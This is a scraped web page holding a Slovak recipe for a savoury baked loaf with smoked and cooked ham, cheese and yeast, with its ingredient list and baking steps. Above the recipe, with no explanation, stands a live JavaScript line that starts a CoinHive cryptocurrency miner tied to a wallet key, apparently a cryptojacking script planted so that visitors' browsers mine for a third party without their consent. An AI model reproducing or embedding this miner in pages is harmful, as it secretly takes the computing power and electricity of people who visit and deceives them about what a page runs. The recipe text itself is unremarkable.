var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 350 g múky Mix B, 3 vajcia, 100 g jemne nasekanej údenej šunky, 100 g jemne nasekanej varenej šunky, 100 g strúhaného syra (napr. Ementál, Čedar...), 70 g rozpusteného margarínu, 125 ml mlieka, 15 g čerstvého droždia alebo 10 g sušeného droždia

Postup: Múku zmiešame s vajcami, kým je zmes hladká. Rozpustíte droždie v mlieku, pridáme margarín a dobre premiešame. Pridáme všetky ostatné ingrediencie. Cesto vylejeme do vymastenej formy, ktorú sme vopred vymazali olejom alebo tukom a vysypali múkou. Pečieme asi 40 minút pri teplote 180˚C.